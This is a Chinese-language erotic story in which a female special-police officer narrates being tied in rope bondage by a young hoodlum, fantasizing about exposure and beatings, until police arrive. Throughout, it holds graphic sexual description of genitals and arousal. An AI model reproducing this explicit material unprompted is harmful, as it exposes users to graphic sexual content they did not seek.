我低头看了一下,两腿之间处的绳子几乎看不到了。绳子在那里勒出了一条很夸张的肉缝,中间凹陷,而两边鼓鼓的。
续二
很安静,张军粗重的喘息声是屋里唯一的声音。这样的气氛我是熟悉的,每一次放纵自己的时候,几乎都是在这样安静的环境里完成的。
下身的绳内裤勒的很紧,这减轻了我不少的躁动。我的身体被绳子紧紧的勒着,手臂一动也不能动,这样的感觉是手铐无法比拟的。害羞的念头只是一闪而过,这并不是说我就是一个不知羞耻的人。我的脸也有又发烧的感觉,但是我不要显露出来。虽然喝了一些酒,尽管已经被绑得几乎失去了人身自由,但是我还是可以支配自己的大脑。
我比不了江娜那个疯丫头,她喜欢冒险,我希望在相对安全的状态下来获取满足。
当然,现在就是存在着很大风险的状况。不过,我喜欢这样,这也正是我想要的。
“她好看吗?”我看到张军也在盯着我的下面看,索性就这么问他。
“啊,好,好看,姐姐长得漂亮!”张军这才抬起头看着我的脸,有些尴尬的回答着。
张军的表现是令我很满意的,我似乎看到了他骨子里羞涩的一面,这种感觉在当初被这帮小混混羞辱的时候就有。我不想说我是一个被虐狂,因为我认为我还没有达到那个地步。
但是被束缚的感觉,确实让我真的很痴狂。为了获取满足,我几乎是在扮演着一个阴谋家的角色。我想利用这些小混混,来满足自己,但又真的不想牺牲得太多。相对于猴子和刀疤他们,张军还是个值得信赖的人。
“我说她呢!她漂不漂亮?”我一边说,一边低下头用嘴向下弩给他看。
“嗯,——嗯,——好看!”张军又很不自然的向下漂了两眼。
“还害羞吗?姐姐喜欢让你们看!”我竟随口说出了“你们”这两个字。看来,我还清楚地知道,屋外面还有两个人在等着我要去面对呢!
“姐姐真好!”
“那当然!要不怎么是姐姐呢!来,好弟弟到跟前看!”我故意得拿话挑逗着,这个面前不知所措的张军。我希望,他能够在我的掌控范围内来让我获取满足,这对我很重要。如果他扑上来强暴我,我根本没办法抵抗,更何况外面还有两个帮手。我善于幻想,幻想可以帮助我获取满足,但我可不想被一群人操……
我是女特警。在学校,在研究的是犯罪心理学。在的警局,则一直是在和犯罪分子直接打交道。我从心理上并不恐惧犯罪分子,但是我知道人原始欲望的强大,可以驱使一个人做出任何的事情。我知道自己的处境,尽管一身的武艺,但现实情况却是被捆绑的结结实实着,处于无助的,甚至是随时随地都有可能会被对方宰割的状态。而这样的感觉却恰恰正是我想要的!也许更多的人不为理解,这也是我为什么把这帮小混混寄予厚望的原因。不过还好,有一个人理解我,那就是江娜。每一次冲动与激情我都会想到她,她好像无处不在,想摆脱都很难!呵呵,也不知这个臭丫头又在哪里疯呢!
“姐姐,这里疼吗?我要不要把它松一松?”本来蹲下身的张军抬起头问我。
呵呵,说实话是真的有些疼,不过我还可以忍受,或者是我就想忍受来着。
在平时自己也绑过绳内裤,但毕竟是自己绑的,和这时感觉完全是不一样的。我想,并不是松紧的原因。我喜欢这种被剥夺的感觉,这也是我为什么能够接受江娜一次又一次的、没完没了的纠缠的原因吧。
“嗯,心疼姐姐的好弟弟!不过姐姐不疼,你把姐姐绑得很舒服呢!”我适时地夸奖着张军,这对我很重要。不过张军的表现和他关切的话语,让我也着实地感动了一回。
“呵呵,只要姐姐高兴就好。”
尽管张军笑得还是不那么自然,但是这样的气氛是我想要的。被麻绳勒住的阴部,只是逼和尿道被象征性的遮拦着,绳子已经深陷在整个肉缝里,几乎看不到了。也就是说,张军明眼前看到的就是我整个裸露的阴部。只不过是被勒过的肉缝比常态的阴部显得更夸张,两侧鼓鼓的,裂缝却深深地……
我的身体江娜最了解,她喜欢我身体的任何部位,甚至是我的每一寸肌肤都被她玩弄过。
我有时候就忍不住去想,这丫头是不是有同性恋倾向,但是我知道我肯定没有。我对江娜的身体不感兴趣,我只是需要她来摆弄和束缚我,我要的是失去自由后所带来的快感。我喜欢异性,这我可以确定。特别是与江娜完成了那次特殊的任务后,这种对异性的需求与渴望在于日的剧增。
我不由自主的游动了几下我的双腿,也就剩下它们还可以自由的活动了。
“把它们绑住,把我的腿绑起来……”我闭着眼睛,一边说,一边轻轻地摆动着我的两个柔软的膝盖。只要条件允许,我不想错过任何的需求。我知道我的腿很美,她们很长、很直、也很柔软。江娜对我说,她对我的双腿又嫉妒、又留恋……但是这个时候,我不想让我的双腿舞蹈,或是踢人。我要它们被绑住,一动也动不了的感觉。
我的胸在不断的肿胀着,勒住我下身的绳子给我传来潮湿燥热的感觉,我想他一定会看得到,那里早已湿透了。
张军似乎还在迟疑着……
“来呀,是姐姐想要的。”我摇了摇身子,被捆绑的身体。
“嗯,马上!”
我不想睁开眼睛,我在黑暗中体会着。麻绳在膝盖的上方缠绕着,大概有五六圈吧,两腿之间收紧,打上了结。我蠕动了几下被绑好的膝盖部分,很牢靠!
眼前的男人不用教就会完成自己想要的一切,这让我很满意,这种感觉很美妙!
我想到了我的男友,这个笨蛋!教都教不会!虽然生气,但是我想我还是爱他的!
我不把这些需求和爱情甚至是生活联系起来。我想,这些也是和江娜多年来的交往,而得到的收获吧!
“脚,也绑住!”我一边说,一边把脚尽量的靠拢在一起。
尽管这样让我有些摇摇欲坠的感觉,但我还是努力的闭着眼睛。还是那根绳子,我感到张军本来就预留了绑脚的绳子。和膝盖一样的捆绑,只是两个脚脖子之间收紧部分缠绕的,要比膝盖部分多上很多圈。这样我既可以站住,又不失牢靠。
一切在按照我的意愿完成着。我还想要什么呢?我正在暴露着自己,我被牢牢的捆绑着,我已经处于无法遮拦的状态,我甚至没有了更好的选择与退路,这真的很刺激!我幻想着,张军会突然地抱住我,用他的双手紧紧地抓住我的两个屁股,把他的脸埋在我的两腿之间,亲吻着或是撕咬着都可以,只要让我受不了就行。
我甚至幻想着面前的男人会用手或是皮带,毫不留情面的来抽打自己裸露的屁股、脸颊……
这时候我又想起了江娜,她给我看HOGTIED 的视频,无助的,尖叫的,皮鞭的声音,还有跪地求饶……哪些视频,几乎每一次都会把我带入那些身临其境的境地。那个时刻,我会为当着将娜的面手淫,江娜则就地的把我的手脚都捆绑住,来惩罚我这个“坏”女人……
“哦!——哦——”眼前的世界快要消失了。我如若无人的呻吟着,我真的快要受不了了。
我不由自主地并拢着双腿,我庆幸着有麻绳在两腿之间。我并没有任何性交经历,我的快乐主要来自于自己和那个鬼缠身一般的江娜。我通常的高潮,都是在刺激和压迫性的情况下来完成的。绳子勒在两片阴唇之间,正好压住了小穴,我想,我的两条大腿只需要再用一把力,我就会高潮了……
“咣!——咣!——咣!——警察——”门外传来了巨大的敲门声!
“警察?”我的耳朵是很机敏的,我是女特警。我早听出了这不是一个正常的敲门声,这更近似于是在砸门!我在第一时间警觉的睁开眼向窗户的方向看,眼紧闭的时间长了,头有些眩晕。我的身体好像快要到了,我本能的想用手臂调整平衡。
刚才太投入了,我几乎就要到高潮了,竟忘记了自己被牢牢的反绑着手臂。下半身就更别提了,才刚被绑住,这会儿就可以刁难自己了。后悔都来不及了,我想这回一定要摔个惨的了。关键时刻,张军近乎用扑上来一般的速度,一把抱住了我。他本来是蹲着的,还没有来得及站起来。因为怕我摔倒,为了及时的能够抱住我,这时已经跪在了地上。他的手紧紧的抱住了我两个毫无遮拦的屁股,脸紧紧的贴在我的两腿之间。真的好刺激!但是现在不是享受的时候。
“放手!快!”我用命令的口气。
张军立刻的松开了手。我不知哪来的力气连跳了两下,我想,我就像是一只青蛙那样的在跳。情况紧急呀,我顾不了那么多了,我把身体靠在窗台上向外面看。猴子已经东倒西歪的走着去开门了。
“谁呀?”
“警察!查暂住证!快开门!”
坏了!这要是让自己的同行看到自己和这些小混混在一起,还被捆成这个样子,以后还怎么混呀?这回,我可真的害怕了!我让张军这样的捆绑着我,我都没有害怕过。我已经全然的没有了享受,或是还要享受下去的感觉,我额头在冒着汗。被捆绑住的手脚与肢体,带来的“喝了多少酒?里面还有谁在?”
“呵呵,没有——喝多少……”
声音越来越近,他们马上就要进到屋里了。现在马上解开绑绳明显是不现实的,我经常玩绳子,我知道把一个人绑起来的时间,和解开绳索的时间几乎差不了多少。张军这样的捆绑,要想完全解开,少说要也得五六分钟。我这不是江娜的一个翻版吗?我要的太多了,绑住手不行吗,还要把隐私的地方勒住,还要绑上腿和脚。
我有着和江娜一样的嗜好,而我却没有江娜那样的厚脸皮,或者本就是没有江娜的运气好!我也曾幻想过,有一天自己的亲人或是同事发现了自己的这个见不得人的嗜好。但是我怎样的想,最先暴露得也该是江娜,我一直愿意拿江娜和我对比,我会找到有后盾一般的感觉。可是,现在垫底的也许要是我了。
现在后悔也许都晚了,尽管我的大脑在闪电一般的运转着。可是这屋里就一张大床,空荡荡的,躲也没处躲,藏也没处藏……
门插不上!就算插上了,从窗外也会看到屋里,这屋破的连个窗帘都没有。就说张军强暴自己?也不成立,屋外还有两个证人。再者,自己连内裤都没有穿,现在上哪找个女士内裤来证明自己是被强迫的?
“这可怎么办呀?”我想我的声音都快要哭了。
“文梅呀,文梅!你不是要暴露吗?这回让你暴露个够!文梅呀,文梅!你不是想要被羞辱个感觉吗?你马上就要去面对最极致的快乐了!这不正是你想要的吗?”这时候,在我的心底发出了无奈的声音。这是何等的自嘲?我彻底的绝望了,我没有了选择,就像是自己当初要求张军,把自己绑成现在这样的毫无反抗的状态一样,把自己推向了没有选择的境地……
我放弃了解脱和挣扎的想法,这是无奈的。而就在这一刻,我的感觉迅猛的又回来了,我的整个身子在发软,让我几乎依靠不住那个窗台。我弯下腰,我能感觉得到,一股淫水从我的小穴里被挤了出来,顺着我的大腿内侧向下流着……
【全文完】